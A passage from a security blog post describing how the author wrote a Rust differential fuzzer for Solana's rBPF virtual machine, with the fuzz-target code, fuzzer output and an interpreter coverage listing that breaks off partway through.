Normal view

There are new articles available, click to refresh the page.
Before yesterdaysecret club

Earn $200K by fuzzing for a weekend: Part 1

By: addison
11 May 2022 at 07:00

By applying well-known fuzzing techniques to a popular target, I found several bugs that in total yielded over $200K in bounties. In this article I will demonstrate how powerful fuzzing can be when applied to software which has not yet faced sufficient testing.

If you’re here just for the bug disclosures, see Part 2, though I encourage you all, even those who have not yet tried their hand at fuzzing, to read through this.

Exposition

A few friends and I ran a little Discord server (now a Matrix space) which in which we discussed security and vulnerability research techniques. One of the things we have running in the server is a bot which posts every single CVE as they come out. And, yeah, I read a lot of them.

One day, the bot posted something that caught my eye:

This marks the beginning of our timeline: January 28th. I had noticed this CVE in particular for two reasons:

  • it was BPF, which I find to be an absurdly cool concept as it’s used in the Linux kernel (a JIT compiler in the kernel!!! what!!!)
  • it was a JIT compiler written in Rust

This CVE showed up almost immediately after I had developed some relatively intensive fuzzing for some of my own Rust software (specifically, a crate for verifying sokoban solutions where I had observed similar issues and thought “that looks familiar”).

Knowing what I had learned from my experience fuzzing my own software and that bugs in Rust programs could be quite easily found with the combo of cargo fuzz and arbitrary, I thought: “hey, why not?”.

The Target, and figuring out how to test it

Solana, as several of you likely know, “is a decentralized blockchain built to enable scalable, user-friendly apps for the world”. They primarily are known for their cryptocurrency, SOL, but also are a blockchain which operates really any form of smart contract.

rBPF in particular is a self-described “Rust virtual machine and JIT compiler for eBPF programs”. Notably, it implements both an interpreter and a JIT compiler for BPF programs. In other words: two different implementations of the same program, which theoretically exhibited the same behaviour when executed.

I was lucky enough to both take a software testing course in university and to have been part of a research group doing fuzzing (admittedly, we were fuzzing hardware, not software, but the concepts translate). A concept that I had hung onto in particular is the idea of test oracles – a way to distinguish what is “correct” behaviour and what is not in a design under test.

In particular, something that stood out to me about the presence of both an interpreter and a JIT compiler in rBPF is that we, in effect, had a perfect pseudo-oracle; as Wikipedia puts it:

a separately written program which can take the same input as the program or system under test so that their outputs may be compared to understand if there might be a problem to investigate.

Those of you who have more experience in fuzzing will recognise this concept as differential fuzzing, but I think we can often overlook that differential fuzzing is just another face of a pseudo-oracle.

In this particular case, we can execute the interpreter, one implementation of rBPF, and then execute the JIT compiled version, another implementation, with the same inputs (i.e., memory state, entrypoint, code, etc.) and see if their outputs are different. If they are, one of them must necessarily be incorrect per the description of the rBPF crate: two implementations of exactly the same behaviour.

Writing a fuzzer

To start off, let’s try to throw a bunch of inputs at it without really tuning to anything in particular. This allows us to sanity check that our basic fuzzing implementation actually works as we expect.

The dumb fuzzer

First, we need to figure out how to execute the interpreter. Thankfully, there are several examples of this readily available in a variety of tests. I referenced the test_interpreter_and_jit macro present in ubpf_execution.rs as the basis for how my so-called “dumb” fuzzer executes.

I’ve provided a sequence of components you can look at one chunk at a time before moving onto the whole fuzzer. Just click on the dropdowns to view the code relevant to that step. You don’t necessarily need to to understand the point of this post.

Step 1: Defining our inputs

We must define our inputs such that it’s actually useful for our fuzzer. Thankfully, arbitrary makes it near trivial to derive an input from raw bytes.

#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
    template: ConfigTemplate,
    prog: Vec<u8>,
    mem: Vec<u8>,
}

If you want to see the definition of ConfigTemplate, you can check it out in common.rs, but all you need to know is that its purpose is to test the interpreter under a variety of different execution configurations. It’s not particularly important to understand the fundamental bits of the fuzzer.

Step 2: Setting up the VM

Setting up the fuzz target and the VM comes next. This will allow us to not only execute our test, but later to actually check if the behaviour is correct.

fuzz_target!(|data: DumbFuzzData| {
    let prog = data.prog;
    let config = data.template.into();
    if check(&prog, &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        &prog,
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    // TODO in step 3
});

You can find the details for how fuzz_target works from the Rust Fuzz Book which goes over how it works in higher detail than would be appropriate here.

Step 3: Executing our input and comparing output

In this step, we just execute the VM with our provided input. In future iterations, we’ll compare the output of interpreter vs JIT, but in this version, we’re just executing the interpreter to see if we can induce crashes.

fuzz_target!(|data: DumbFuzzData| {
    // see step 2 for this bit

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1024 },
    )));
});

I use black_box here but I’m not entirely convinced that it’s necessary. I added it to ensure that the result of the interpreted program’s execution isn’t simply discarded and thus the execution marked unnecessary, but I’m fairly certain it wouldn’t be regardless.

Note that we are not checking for if the execution failed here. If the BPF program fails: we don’t care! We only care if the VM crashes for any reason.

Step 4: Put it together

Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.

#![feature(bench_black_box)]
#![no_main]

use std::collections::BTreeMap;
use std::hint::black_box;

use libfuzzer_sys::fuzz_target;

use solana_rbpf::{
    ebpf,
    elf::{register_bpf_function, Executable},
    memory_region::MemoryRegion,
    user_error::UserError,
    verifier::check,
    vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};

use crate::common::ConfigTemplate;

mod common;

#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
    template: ConfigTemplate,
    prog: Vec<u8>,
    mem: Vec<u8>,
}

fuzz_target!(|data: DumbFuzzData| {
    let prog = data.prog;
    let config = data.template.into();
    if check(&prog, &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        &prog,
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1024 },
    )));
});

Theoretically, an up-to-date version is available in the rBPF repo.

Evaluation

$ cargo +nightly fuzz run dumb -- -max_total_time=300
... snip ...
#2902510	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 134/3126 MS: 3 ChangeBit-InsertByte-PersAutoDict- DE: "\x07\xff\xff3"-
#2902537	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 60/3126 MS: 2 ChangeBinInt-EraseBytes-
#2905608	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 101/3126 MS: 1 EraseBytes-
#2905770	NEW    cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 61/3126 MS: 2 ShuffleBytes-CrossOver-
#2906805	DONE   cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9657 rss: 355Mb
Done 2906805 runs in 301 second(s)

After executing the fuzzer, we can evaluate its effectiveness at finding interesting inputs by checking its coverage after executing for a given time (note the use of the -max_total_time flag). In this case, I want to determine just how well it covers the function which handles interpreter execution. To do so, I issue the following commands:

$ cargo +nightly fuzz coverage dumb
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/dumb -instr-profile=fuzz/coverage/dumb/coverage.profdata -show-line-counts-or-regions -name=execute_program_interpreted_inner
Command output of rust-cov

If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.

<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
  709|    763|    fn execute_program_interpreted_inner(
  710|    763|        &mut self,
  711|    763|        instruction_meter: &mut I,
  712|    763|        initial_insn_count: u64,
  713|    763|        last_insn_count: &mut u64,
  714|    763|    ) -> ProgramResult<E> {
  715|    763|        // R1 points to beginning of input memory, R10 to the stack of the first frame
  716|    763|        let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
  717|    763|        reg[1] = ebpf::MM_INPUT_START;
  718|    763|
  719|    763|        // Loop on instructions
  720|    763|        let config = self.executable.get_config();
  721|    763|        let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
                                                                                                  ^0
  722|    763|        let mut remaining_insn_count = initial_insn_count;
  723|   136k|        while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
  724|   135k|            *last_insn_count += 1;
  725|   135k|            let pc = next_pc;
  726|   135k|            next_pc += 1;
  727|   135k|            let mut instruction_width = 1;
  728|   135k|            let mut insn = ebpf::get_insn_unchecked(self.program, pc);
  729|   135k|            let dst = insn.dst as usize;
  730|   135k|            let src = insn.src as usize;
  731|   135k|
  732|   135k|            if config.enable_instruction_tracing {
  733|      0|                let mut state = [0u64; 12];
  734|      0|                state[0..11].copy_from_slice(&reg);
  735|      0|                state[11] = pc as u64;
  736|      0|                self.tracer.trace(state);
  737|   135k|            }
  738|       |
  739|   135k|            match insn.opc {
  740|   135k|                _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
  741|    361|                    match insn.opc {
  742|     16|                        ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
  743|    345|                        ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
  744|       |                        _ => {
  745|       |                            #[cfg(debug_assertions)]
  746|      0|                            unreachable!("unexpected insn on r11")
  747|       |                        }
  748|       |                    }
  749|       |                }
  750|       |
  751|       |                // BPF_LD class
  752|       |                // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
  753|       |                // bother re-fetching it, just use ebpf::MM_INPUT_START already.
  754|       |                ebpf::LD_ABS_B   => {
  755|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  756|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^0
  757|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  758|       |                },
  759|       |                ebpf::LD_ABS_H   =>  {
  760|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  761|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^0
  762|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  763|       |                },
  764|       |                ebpf::LD_ABS_W   => {
  765|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  766|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^0
  767|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  768|       |                },
  769|       |                ebpf::LD_ABS_DW  => {
  770|      4|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  771|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  772|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  773|       |                },
  774|       |                ebpf::LD_IND_B   => {
  775|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  776|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^0
  777|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  778|       |                },
  779|       |                ebpf::LD_IND_H   => {
  780|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  781|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^0
  782|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  783|       |                },
  784|       |                ebpf::LD_IND_W   => {
  785|      7|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  786|      7|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^0
  787|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  788|       |                },
  789|       |                ebpf::LD_IND_DW  => {
  790|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  791|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  792|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  793|       |                },
  794|       |
  795|      0|                ebpf::LD_DW_IMM  => {
  796|      0|                    ebpf::augment_lddw_unchecked(self.program, &mut insn);
  797|      0|                    instruction_width = 2;
  798|      0|                    next_pc += 1;
  799|      0|                    reg[dst] = insn.imm as u64;
  800|      0|                },
  801|       |
  802|       |                // BPF_LDX class
  803|       |                ebpf::LD_B_REG   => {
  804|     18|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  805|     18|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^2
  806|      2|                    reg[dst] = unsafe { *host_ptr as u64 };
  807|       |                },
  808|       |                ebpf::LD_H_REG   => {
  809|     18|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  810|     18|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^6
  811|      6|                    reg[dst] = unsafe { *host_ptr as u64 };
  812|       |                },
  813|       |                ebpf::LD_W_REG   => {
  814|    365|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  815|    365|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^348
  816|    348|                    reg[dst] = unsafe { *host_ptr as u64 };
  817|       |                },
  818|       |                ebpf::LD_DW_REG  => {
  819|     15|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  820|     15|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^5
  821|      5|                    reg[dst] = unsafe { *host_ptr as u64 };
  822|       |                },
  823|       |
  824|       |                // BPF_ST class
  825|       |                ebpf::ST_B_IMM   => {
  826|     26|                    let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
  827|     26|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^20
  828|     20|                    unsafe { *host_ptr = insn.imm as u8 };
  829|       |                },
  830|       |                ebpf::ST_H_IMM   => {
  831|     23|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  832|     23|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^13
  833|     13|                    unsafe { *host_ptr = insn.imm as u16 };
  834|       |                },
  835|       |                ebpf::ST_W_IMM   => {
  836|     12|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  837|     12|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^5
  838|      5|                    unsafe { *host_ptr = insn.imm as u32 };
  839|       |                },
  840|       |                ebpf::ST_DW_IMM  => {
  841|     17|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  842|     17|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^11
  843|     11|                    unsafe { *host_ptr = insn.imm as u64 };
  844|       |                },
  845|       |
  846|       |                // BPF_STX class
  847|       |                ebpf::ST_B_REG   => {
  848|     17|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  849|     17|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^3
  850|      3|                    unsafe { *host_ptr = reg[src] as u8 };
  851|       |                },
  852|       |                ebpf::ST_H_REG   => {
  853|     13|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  854|     13|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^3
  855|      3|                    unsafe { *host_ptr = reg[src] as u16 };
  856|       |                },
  857|       |                ebpf::ST_W_REG   => {
  858|     19|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  859|     19|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^7
  860|      7|                    unsafe { *host_ptr = reg[src] as u32 };
  861|       |                },
  862|       |                ebpf::ST_DW_REG  => {
  863|      8|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  864|      8|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^2
  865|      2|                    unsafe { *host_ptr = reg[src] as u64 };
  866|       |                },
  867|       |
  868|       |                // BPF_ALU class
  869|  1.06k|                ebpf::ADD32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32)   as u64,
  870|    695|                ebpf::ADD32_REG  => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32)   as u64,
  871|    710|                ebpf::SUB32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32)   as u64,
  872|    345|                ebpf::SUB32_REG  => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32)   as u64,
  873|  1.03k|                ebpf::MUL32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32)   as u64,
  874|  2.07k|                ebpf::MUL32_REG  => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32)   as u64,
  875|  1.03k|                ebpf::DIV32_IMM  => reg[dst] = (reg[dst] as u32 / insn.imm as u32)               as u64,
  876|       |                ebpf::DIV32_REG  => {
  877|      4|                    if reg[src] as u32 == 0 {
  878|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  879|      2|                    }
  880|      2|                    reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
  881|       |                },
  882|       |                ebpf::SDIV32_IMM  => {
  883|    346|                    if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
                                                                    ^0
  884|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  885|    346|                    }
  886|    346|                    reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
  887|       |                }
  888|       |                ebpf::SDIV32_REG  => {
  889|     13|                    if reg[src] as i32 == 0 {
  890|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  891|     11|                    }
  892|     11|                    if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
                                                                    ^0
  893|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  894|     11|                    }
  895|     11|                    reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
  896|       |                },
  897|    346|                ebpf::OR32_IMM   =>   reg[dst] = (reg[dst] as u32             | insn.imm as u32) as u64,
  898|    351|                ebpf::OR32_REG   =>   reg[dst] = (reg[dst] as u32             | reg[src] as u32) as u64,
  899|    345|                ebpf::AND32_IMM  =>   reg[dst] = (reg[dst] as u32             & insn.imm as u32) as u64,
  900|  1.03k|                ebpf::AND32_REG  =>   reg[dst] = (reg[dst] as u32             & reg[src] as u32) as u64,
  901|      0|                ebpf::LSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
  902|    369|                ebpf::LSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
  903|      0|                ebpf::RSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
  904|    346|                ebpf::RSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
  905|    690|                ebpf::NEG32      => { reg[dst] = (reg[dst] as i32).wrapping_neg()                as u64; reg[dst] &= u32::MAX as u64; },
  906|    347|                ebpf::MOD32_IMM  =>   reg[dst] = (reg[dst] as u32             % insn.imm as u32) as u64,
  907|       |                ebpf::MOD32_REG  => {
  908|      4|                    if reg[src] as u32 == 0 {
  909|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  910|      2|                    }
  911|      2|                                      reg[dst] = (reg[dst] as u32            % reg[src]  as u32) as u64;
  912|       |                },
  913|  1.04k|                ebpf::XOR32_IMM  =>   reg[dst] = (reg[dst] as u32            ^ insn.imm  as u32) as u64,
  914|  2.74k|                ebpf::XOR32_REG  =>   reg[dst] = (reg[dst] as u32            ^ reg[src]  as u32) as u64,
  915|    349|                ebpf::MOV32_IMM  =>   reg[dst] = insn.imm  as u32                                as u64,
  916|  1.03k|                ebpf::MOV32_REG  =>   reg[dst] = (reg[src] as u32)                               as u64,
  917|      0|                ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
  918|      2|                ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
  919|      0|                ebpf::LE         => {
  920|      0|                    reg[dst] = match insn.imm {
  921|      0|                        16 => (reg[dst] as u16).to_le() as u64,
  922|      0|                        32 => (reg[dst] as u32).to_le() as u64,
  923|      0|                        64 =>  reg[dst].to_le(),
  924|       |                        _  => {
  925|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  926|       |                        }
  927|       |                    };
  928|       |                },
  929|      0|                ebpf::BE         => {
  930|      0|                    reg[dst] = match insn.imm {
  931|      0|                        16 => (reg[dst] as u16).to_be() as u64,
  932|      0|                        32 => (reg[dst] as u32).to_be() as u64,
  933|      0|                        64 =>  reg[dst].to_be(),
  934|       |                        _  => {
  935|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  936|       |                        }
  937|       |                    };
  938|       |                },
  939|       |
  940|       |                // BPF_ALU64 class
  941|    402|                ebpf::ADD64_IMM  => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
  942|    351|                ebpf::ADD64_REG  => reg[dst] = reg[dst].wrapping_add(reg[src]),
  943|  1.12k|                ebpf::SUB64_IMM  => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
  944|    721|                ebpf::SUB64_REG  => reg[dst] = reg[dst].wrapping_sub(reg[src]),
  945|  3.06k|                ebpf::MUL64_IMM  => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
  946|  1.71k|                ebpf::MUL64_REG  => reg[dst] = reg[dst].wrapping_mul(reg[src]),
  947|  1.39k|                ebpf::DIV64_IMM  => reg[dst] /= insn.imm as u64,
  948|       |                ebpf::DIV64_REG  => {
  949|     23|                    if reg[src] == 0 {
  950|     12|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  951|     11|                    }
  952|     11|                                    reg[dst] /= reg[src];
  953|       |                },
  954|       |                ebpf::SDIV64_IMM  => {
  955|  1.40k|                    if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
                                                                    ^0
  956|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  957|  1.40k|                    }
  958|  1.40k|
  959|  1.40k|                    reg[dst] = (reg[dst] as i64 / insn.imm) as u64
  960|       |                }
  961|       |                ebpf::SDIV64_REG  => {
  962|     12|                    if reg[src] == 0 {
  963|      5|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  964|      7|                    }
  965|      7|                    if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
                                                                    ^0
  966|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  967|      7|                    }
  968|      7|                    reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
  969|       |                },
  970|    838|                ebpf::OR64_IMM   => reg[dst] |=  insn.imm as u64,
  971|  1.37k|                ebpf::OR64_REG   => reg[dst] |=  reg[src],
  972|  2.14k|                ebpf::AND64_IMM  => reg[dst] &=  insn.imm as u64,
  973|  4.47k|                ebpf::AND64_REG  => reg[dst] &=  reg[src],
  974|      0|                ebpf::LSH64_IMM  => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
  975|  1.73k|                ebpf::LSH64_REG  => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
  976|      0|                ebpf::RSH64_IMM  => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
  977|  1.03k|                ebpf::RSH64_REG  => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
  978|  5.59k|                ebpf::NEG64      => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
  979|  2.85k|                ebpf::MOD64_IMM  => reg[dst] %= insn.imm  as u64,
  980|       |                ebpf::MOD64_REG  => {
  981|      3|                    if reg[src] == 0 {
  982|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  983|      1|                    }
  984|      1|                                    reg[dst] %= reg[src];
  985|       |                },
  986|  2.28k|                ebpf::XOR64_IMM  => reg[dst] ^= insn.imm as u64,
  987|  1.41k|                ebpf::XOR64_REG  => reg[dst] ^= reg[src],
  988|    383|                ebpf::MOV64_IMM  => reg[dst] =  insn.imm as u64,
  989|  4.24k|                ebpf::MOV64_REG  => reg[dst] =  reg[src],
  990|      0|                ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
  991|    357|                ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
  992|       |
  993|       |                // BPF_JMP class
  994|  4.43k|                ebpf::JA         =>                                          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
  995|     10|                ebpf::JEQ_IMM    => if  reg[dst] == insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
  996|  1.36k|                ebpf::JEQ_REG    => if  reg[dst] == reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.36k                                                        ^2
  997|  4.16k|                ebpf::JGT_IMM    => if  reg[dst] >  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.42k                                                        ^2.74k
  998|  1.73k|                ebpf::JGT_REG    => if  reg[dst] >  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.39k                                                        ^343
  999|    343|                ebpf::JGE_IMM    => if  reg[dst] >= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1000|  2.04k|                ebpf::JGE_REG    => if  reg[dst] >= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.70k                                                        ^342
 1001|  2.04k|                ebpf::JLT_IMM    => if  reg[dst] <  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.04k                                                        ^1
 1002|    342|                ebpf::JLT_REG    => if  reg[dst] <  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1003|  1.02k|                ebpf::JLE_IMM    => if  reg[dst] <= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                                                                                         ^0
 1004|  2.38k|                ebpf::JLE_REG    => if  reg[dst] <= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.38k                                                        ^1
 1005|  1.76k|                ebpf::JSET_IMM   => if  reg[dst] &  insn.imm as u64 != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.42k                                                        ^347
 1006|    686|                ebpf::JSET_REG   => if  reg[dst] &  reg[src]        != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1007|  6.48k|                ebpf::JNE_IMM    => if  reg[dst] != insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                                                                                         ^0
 1008|  2.44k|                ebpf::JNE_REG    => if  reg[dst] != reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.40k                                                        ^1.03k
 1009|  18.1k|                ebpf::JSGT_IMM   => if  reg[dst] as i64 >   insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^17.7k                                                        ^363
 1010|  2.08k|                ebpf::JSGT_REG   => if  reg[dst] as i64 >   reg[src]  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.07k                                                        ^12
 1011|  14.3k|                ebpf::JSGE_IMM   => if  reg[dst] as i64 >=  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^12.9k                                                        ^1.37k
 1012|  3.45k|                ebpf::JSGE_REG   => if  reg[dst] as i64 >=  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^3.44k                                                        ^12
 1013|  1.36k|                ebpf::JSLT_IMM   => if (reg[dst] as i64) <  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.02k                                                        ^346
